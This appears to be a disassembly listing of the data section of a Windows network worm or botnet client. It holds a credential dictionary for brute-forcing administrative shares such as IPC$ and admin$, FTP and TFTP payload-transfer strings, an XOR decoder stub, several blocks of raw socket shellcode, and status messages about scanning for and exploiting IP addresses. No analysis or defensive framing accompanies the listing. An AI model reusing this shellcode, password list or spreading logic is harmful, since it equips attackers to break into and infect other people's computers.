aWin98		db 'win98',0            ; DATA XREF: .data:00415920o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0041591Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:00415914o
		align 10h
aOem		db 'oem',0              ; DATA XREF: .data:0041590Co
aAccounting	db 'accounting',0       ; DATA XREF: .data:004158FCo
		align 10h
aAccounts	db 'accounts',0         ; DATA XREF: .data:004158F8o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:004158F4o
aSex		db 'sex',0              ; DATA XREF: .data:004158F0o
					; .data:004159C4o
aOutlook	db 'outlook',0          ; DATA XREF: .data:004158E0o
aMail		db 'mail',0             ; DATA XREF: .data:004158DCo
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:004158D8o
		align 10h
aTemp123	db 'temp123',0          ; DATA XREF: .data:004158D4o
aTemp		db 'temp',0             ; DATA XREF: .data:004158D0o
		align 10h
aNull		db 'null',0             ; DATA XREF: .data:004158CCo
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:004158BCo
aChangeme	db 'changeme',0         ; DATA XREF: .data:004158B8o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:004158A8o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0041589Co
		align 4
a2005		db '2005',0             ; DATA XREF: .data:00415898o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:00415894o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:00415888o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .data:00415880o
		align 4
aPayday		db 'payday',0           ; DATA XREF: .data:0041587Co
		align 4
aDeadline	db 'deadline',0         ; DATA XREF: .data:00415878o
		align 10h
aWork		db 'work',0             ; DATA XREF: .data:00415874o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:00415870o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0041586Co
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .data:00415868o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:00415864o
a123456		db '123456',0           ; DATA XREF: .data:00415860o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0041585Co
		align 4
a1234		db '1234',0             ; DATA XREF: .data:00415858o
		align 4
a123		db '123',0              ; DATA XREF: .data:00415854o
a12		db '12',0               ; DATA XREF: .data:00415850o
		align 4
a1:					; DATA XREF: .data:0041584Co
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:00415848o
aPwd		db 'pwd',0              ; DATA XREF: .data:00415844o
aPass		db 'pass',0             ; DATA XREF: .data:00415840o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0041583Co
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:00415838o
aPasswd		db 'passwd',0           ; DATA XREF: .data:00415834o
		align 10h
aPassword	db 'password',0         ; DATA XREF: .data:00415830o
					; .data:004174E0o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:0041582Co
		align 4
aAbc		db 'abc',0              ; DATA XREF: .data:00415828o
aAb		db 'ab',0               ; DATA XREF: .data:00415824o
		align 10h
aA_1:					; DATA XREF: .data:00415820o
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .data:004157F8o
		align 4
aPrint		db 'print$',0           ; DATA XREF: .data:004157F4o
		align 4
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
					; DATA XREF: .data:004157F0o
aAdmin_0	db 'admin$',0           ; DATA XREF: .data:004157ECo
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: .data:004157E8o
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .data:004157E4o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: .data:004157E0o
		align 4
aCWindows	db 'c$\windows',0       ; DATA XREF: .data:004157DCo
		align 10h
aCWinnt		db 'c$\winnt',0         ; DATA XREF: .data:004157D8o
		align 4
aEShared	db 'e$\shared',0        ; DATA XREF: .data:004157D4o
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .data:004157D0o
		align 4
aCShared	db 'c$\shared',0        ; DATA XREF: .data:004157CCo
		align 10h
aE_0		db 'e$',0               ; DATA XREF: .data:004157C8o
		align 4
aD		db 'd$',0               ; DATA XREF: .data:004157C4o
		align 4
aC_1		db 'c$',0               ; DATA XREF: .data:004157C0o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:004157B8o
					; .data:00415A70o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .data:004157B4o
					; .data:00415A6Co
aOwner		db 'owner',0            ; DATA XREF: .data:004157B0o
					; .data:00415A68o
		align 4
aStudent	db 'student',0          ; DATA XREF: .data:004157ACo
					; .data:00415A64o
aIntranet	db 'intranet',0         ; DATA XREF: .data:004157A8o
					; .data:00415A60o
		align 4
aLan_0		db 'lan',0              ; DATA XREF: .data:004157A0o
					; .data:00415A58o
aMain		db 'main',0             ; DATA XREF: seg000:004107ACo
					; seg000:004107E0o ...
		align 4
aOffice		db 'office',0           ; DATA XREF: .data:00415798o
					; .data:00415A48o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:00415794o
					; .data:00415A44o
aSiemens	db 'siemens',0          ; DATA XREF: .data:00415790o
					; .data:00415A34o
aCompaq		db 'compaq',0           ; DATA XREF: .data:0041578Co
					; .data:00415A30o
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:00415788o
					; .data:00415A2Co
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:00415784o
					; .data:00415A28o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:00415780o
					; .data:00415A24o
aOracle		db 'oracle',0           ; DATA XREF: .data:0041577Co
					; .data:00415A20o
		align 10h
aSql		db 'sql',0              ; DATA XREF: .data:00415778o
					; .data:00415A14o
aSa		db 'sa',0               ; DATA XREF: .data:00415774o
					; .data:00415A10o
		align 4
aData		db 'data',0             ; DATA XREF: .data:00415770o
					; .data:004159FCo
		align 10h
aAccess		db 'access',0           ; DATA XREF: .data:0041576Co
					; .data:004159ECo
		align 4
aDatabase	db 'database',0         ; DATA XREF: .data:00415768o
					; .data:004159E8o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:00415764o
					; .data:004159DCo
		align 4
aGod		db 'god',0              ; DATA XREF: .data:00415760o
					; .data:004159C8o
aBackup		db 'backup',0           ; DATA XREF: .data:0041575Co
					; .data:004159B0o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:00415758o
					; .data:004159ACo
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:00415754o
					; .data:004159A0o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .data:00415750o
					; .data:0041599Co
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:00415748o
					; .data:00415994o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:00415744o
					; .data:00415990o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:00415740o
					; .data:0041598Co
		align 4
aNone		db 'none',0             ; DATA XREF: .data:0041573Co
					; .data:004158A4o
		align 4
aGuest		db 'guest',0            ; DATA XREF: .data:00415738o
					; .data:004158A0o
		align 4
aChris		db 'chris',0            ; DATA XREF: .data:00415734o
					; .data:00415988o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:00415730o
					; .data:00415984o
aNeil		db 'neil',0             ; DATA XREF: .data:0041572Co
					; .data:00415980o
		align 10h
aLee		db 'lee',0              ; DATA XREF: .data:00415728o
					; .data:0041597Co
aBrian		db 'brian',0            ; DATA XREF: .data:00415724o
					; .data:00415978o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .data:0041571Co
					; .data:00415970o
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:00415718o
					; .data:0041596Co
aSam		db 'sam',0              ; DATA XREF: .data:00415714o
					; .data:00415968o
aLuke		db 'luke',0             ; DATA XREF: .data:00415710o
					; .data:00415964o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0041570Co
					; .data:00415720o ...
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:00415708o
					; .data:0041595Co
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:00415704o
					; .data:00415958o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:00415700o
					; .data:00415954o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:004156FCo
					; .data:00415950o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:004156F8o
					; .data:0041594Co
aJen		db 'jen',0              ; DATA XREF: .data:004156F4o
					; .data:00415948o
aBob		db 'bob',0              ; DATA XREF: .data:004156F0o
					; .data:0041574Co ...
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:004156ECo
					; .data:00415918o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:004156E8o
					; .data:00415910o
aUser		db 'user',0             ; DATA XREF: .data:004156E4o
					; .data:00415908o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:004156E0o
					; .data:00415904o
		align 10h
aHome		db 'home',0             ; DATA XREF: .data:004156DCo
					; .data:00415900o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:004156D8o
					; .data:004157A4o ...
		align 4
aWww		db 'www',0              ; DATA XREF: .data:004156D4o
					; .data:004158E8o
aWeb		db 'web',0              ; DATA XREF: .data:004156D0o
					; .data:004158E4o
aRoot		db 'root',0             ; DATA XREF: .data:004156CCo
					; .data:004158C8o
		align 4
aServer_0	db 'server',0           ; DATA XREF: .data:004156C8o
					; .data:004158C4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:004156C0o
					; .data:004158B4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:004156BCo
					; .data:004158B0o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:004156B8o
					; .data:004158ACo
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:004156B4o
					; .data:0041581Co
aAdmin		db 'admin',0            ; DATA XREF: .data:004156B0o
					; .data:00415818o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:004156ACo
					; .data:00415814o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:004156A8o
					; .data:00415810o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:004156A4o
					; .data:0041580Co
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:004156A0o
					; .data:00415808o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0041569Co
					; .data:00415804o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_40CA47:loc_40CF00o
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_40CA47+48Ao
dword_416008	dd 0C5020h		; DATA XREF: sub_40CA47:loc_40CEC9r
		dd 2 dup(0)
unk_416014	db  2Dh	; -		; DATA XREF: sub_40CA47+463o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_40CA47+45Eo
dword_416040	dd 148020h		; DATA XREF: sub_40CA47:loc_40CE0Er
		dd 2 dup(0)
dword_41604C	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_40CA47+386o
					; sub_40CA47+41Ao
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40CA47+353o
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_40CA47+2AAo
					; sub_40CA47+3D3o
dword_4160D0	dd 10FCA0h		; DATA XREF: sub_40CA47:loc_40CCE5r
		dd 2 dup(0)
dword_4160DC	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_40CA47+270o
dword_4160E8	dd 142FA0h		; DATA XREF: sub_40CA47:loc_40CC65r
		dd 2 dup(0)
dword_4160F4	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_40CA47:loc_40CC5Bo
dword_4160FC	dd 7525h		; DATA XREF: sub_40CA47+201o
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40CA47+1BBo
		align 4
dword_416114	dd 104EE0h		; DATA XREF: sub_40CA47:loc_40CBE2r
		align 10h
dword_416120	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_40CA47+191o
dword_416128	dd 10B928h		; DATA XREF: sub_40CA47+189r
		dd 2 dup(0)
dword_416134	dd 0A47A0h		; DATA XREF: sub_40CA47:loc_40CBC4r
		align 10h
dword_416140	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_40CA47+173o
dword_41614C	dd 213E0h		; DATA XREF: sub_40CA47:loc_40CBB2r
		dd 0
dword_416154	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_40CA47+161o
dword_41615C	dd 120F20h		; DATA XREF: sub_40CA47:loc_40CBA0r
		dd 2 dup(0)
dword_416168	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_40CA47+14Fo
dword_416170	dd 143CA0h		; DATA XREF: sub_40CA47+147r
		dd 2 dup(0)
dword_41617C	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_40CA47+129o
dword_416184	dd 10B998h		; DATA XREF: sub_40CA47:loc_40CB61r
		align 10h
dword_416190	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_40CA47+110o
dword_416198	dd 144220h		; DATA XREF: sub_40CA47+101r
		dd 2 dup(0)
dword_4161A4	dd 0A0D20h		; DATA XREF: sub_40CA47+ACo
dword_4161A8	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_40CA47+11o
dword_4161B0	dd 303332h		; DATA XREF: sub_40CF3E+143o
dword_4161B4	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_40CF3E+F0o
dword_4161C0	dd 313333h		; DATA XREF: sub_40CF3E+D1o
dword_4161C4	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_40CF3E+76o
dword_4161D0	dd 303232h		; DATA XREF: sub_40CF3E+59o
unk_4161D4	db  2Dh	; -		; DATA XREF: sub_40D09D+A4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_40D09D+44o
		align 4
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_40D1B3+34o
dword_41621C	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_40D201+369o
unk_416228	db  2Dh	; -		; DATA XREF: sub_40D201+34Bo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 4
aWormride	db 'wormride',0         ; DATA XREF: sub_40D201+346o
		align 4
dword_416264	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_40D201+1FEo
aOctet		db 'octet',0            ; DATA XREF: sub_40D201+1CEo
		align 10h
unk_416280	db  2Dh	; -		; DATA XREF: sub_40D201+E5o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_40D5AA+2Bo
		align 10h


loc_4162C0:				; DATA XREF: sub_40D700+3Eo
		jmp	short loc_4162D7
; ---------------------------------------------------------------------------


loc_4162C2:				; CODE XREF: .data:loc_4162D7p
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_4162CE:				; CODE XREF: .data:004162D3j
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_4162CE
		jmp	short near ptr dword_4162DC
; ---------------------------------------------------------------------------


loc_4162D7:				; CODE XREF: .data:loc_4162C0j
		call	loc_4162C2
; ---------------------------------------------------------------------------
dword_4162DC	dd 0			; CODE XREF: .data:004162D5j
dword_4162E0	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40D628+7Eo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_416394	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40D628+4Do
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41645C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_40D628+1Ao
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 10h
dword_416510	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_40D7FD+5Bo
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41668D	db 0E3h			; DATA XREF: sub_40D700+ACr
					; sub_40D700+D8w
		align 10h
dword_416690	dd 4113E68Bh		; DATA XREF: sub_40D700+49r
					; sub_40D700+98w
		align 8
off_416698	dd offset dword_4166F0	; DATA XREF: sub_40D88A+40r
		dd offset dword_4166E4
		dd offset dword_4166D8
		dd offset dword_4166C8
		dd offset dword_4166BC
		dd offset dword_4166D8
		dd 3 dup(0)
dword_4166BC	dd 8BD1FCAFh, 2	dup(0)	; DATA XREF: .data:004166A8o
					; .data:004177C8o
dword_4166C8	dd 8A8FEAFAh, 0C88DD2CDh, 0DEh,	0 ; DATA XREF: .data:004166A4o
					; .data:004177C4o
dword_4166D8	dd 0F5A78DC6h, 2 dup(0)	; DATA XREF: .data:004166A0o
					; .data:004166ACo ...
dword_4166E4	dd 8AD0FDAEh, 2	dup(0)	; DATA XREF: .data:0041669Co
					; .data:off_4177BCo
dword_4166F0	dd 0D088EAFAh, 8F8C90CDh, 9AE3C7h, 0 ; DATA XREF: .data:off_416698o
					; .data:off_4177B8o
dword_416700	dd 72h			; DATA XREF: sub_40DA6E+F4o
dword_416704	dd 62h			; DATA XREF: sub_40DB90+7Fo
dword_416708	dd 63h			; DATA XREF: sub_40DC48+3Ao
dword_41670C	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40DCB8+66o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_416744	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_40DD96+79o
		dd 74726F70h, 34300320h, 3752502h, 2
dword_416768	dd 0DF86A7F2h		; DATA XREF: sub_40D9B4+2Dr
					; sub_40E18A+57o ...
		dd 3 dup(0)
		dd 0A7000000h, 0DCF7h, 3 dup(0)
		db 2 dup(0)
word_41678E	dw 6BA3h		; DATA XREF: sub_40DE2B+2Do
		dd 34A5h
		db 2 dup(0)
off_416796	dd offset sub_40B27D	; DATA XREF: sub_40D9B4+5r
					; sub_40D9B4+Do ...
		dw 3
		dd 0
		dd 0A7F20000h, 9ADF86h,	3 dup(0)
		dd 0DCF7A700h, 4 dup(0)
		dd 448D29BAh, 0
		dd offset sub_40B4D5
		dd 3, 0
		dd 0C188B7FAh, 0DBh, 2 dup(0)
		dd 0A2000000h, 0DCF0h, 3 dup(0)
		dd 7F1E0000h, 3547h, 0BB6E0000h, 30040h, 0
		dd 0AAE60000h, 99h, 3 dup(0)
		dd 0DCF0A200h, 4 dup(0)
		dd 8D37200h, 0
		dd offset sub_40C0F9
		dd 3, 0
		dd 8099AAE6h, 3	dup(0)
		dd 0A2000000h, 0DCF0h, 3 dup(0)
		dd 4BAB0000h, 0FF2Fh, 0C1070000h, 30040h, 0
		dd 0AFE10000h, 9Ah, 3 dup(0)
		dd 0DCF7A700h, 4 dup(0)
		dd 75DA56B2h, 0
		dd offset sub_40C73D
		dd 3, 0
		dd 809AAFE1h, 3	dup(0)
		dd 0A7000000h, 0DCF7h, 3 dup(0)
		dd 27370000h, 7BC4h, 0C73D0000h, 30040h, 0
		dd 0AFE10000h, 819Ah, 3	dup(0)
		dd 0DCF0A200h, 4 dup(0)
		dd 0C1176B16h, 0
		dd offset sub_40C73D
		dd 3, 0
		dd 869AAFE1h, 3	dup(0)
		dd 0A2000000h, 0DCF0h, 3 dup(0)
		dd 6F900000h, 3B90h, 0C73D0000h, 30040h, 0
		dd 0A5F20000h, 9DDFD784h, 0C49Dh, 2 dup(0)
		dd 0DBF5A000h, 8Bh, 3 dup(0)
		dd 9AFB3C57h, 0
		dd offset sub_40AE3D
		dd 1, 0
		dd 0D784A5F2h, 0C49D9DDFh, 96h,	0
		dd 0A0000000h, 8BDBF5h,	3 dup(0)
		dd 341C0000h, 0D578h, 0B11C0000h, 10040h, 0
		dd 0B7FB0000h, 0C4C39Ah, 3 dup(0)
		dd 0DAF0A700h, 81h, 3 dup(0)
		dd 0CE9BC14Dh, 0
		dd offset sub_40BCAB
		dd 1, 0
; ---------------------------------------------------------------------------
		sti
		mov	bh, 9Ah
		retn
; ---------------------------------------------------------------------------
		dd 0D28E8CC4h, 0D7h, 0
		dd 0A7000000h, 81DAF0h,	3 dup(0)
		dd 0DFB10000h, 0DF80h, 0BE070000h, 10040h, 0
		dd 0ADF50000h, 0C7D19Ah, 3 dup(0)
		dd 0F7A400h, 4 dup(0)
		dd 0CE29B448h, 0
		dd offset sub_40AC87
		dd 11h dup(0)
dword_416AD0	dd 6E695728h, 293233h	; DATA XREF: sub_40DE7D+18Do
dword_416AD8	dd 696E5528h, 2978h	; DATA XREF: sub_40DE7D+16Fo
dword_416AE0	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40DE7D+162o
aApache		db 'Apache',0           ; DATA XREF: sub_40DE7D+149o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40DE7D+EAo
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_40DE7D+CAo
		align 4
aServer		db 'Server:',0          ; DATA XREF: sub_40DE7D+72o
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DE7D+Eo
		db 0Dh,0Ah,0
		align 4
unk_416B38	db  53h	; S		; DATA XREF: sub_40E18A+475o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_416B7C	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_40E18A+412o
dword_416B90	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_40E18A+26Ao
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_416BC8	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_40E18A+234o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_416BF4	db  53h	; S		; DATA XREF: sub_40E629+186o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_416C2C	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_40E7C8+24Ao
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_416C70	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_40E7C8+1F6o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_416CA0	db  2Dh	; -		; DATA XREF: sub_40E7C8+39o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 10h
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40EA34+43o
dword_416CF4	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_40EA8E+7Do
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_40EA8E+2Co
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_40EB64+21o
		align 4
dword_416D38	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_40EB9C:loc_40EC48o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_416D68	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_40EB9C+A5o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_416DA0	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_40EB9C+72o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_416DD0	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
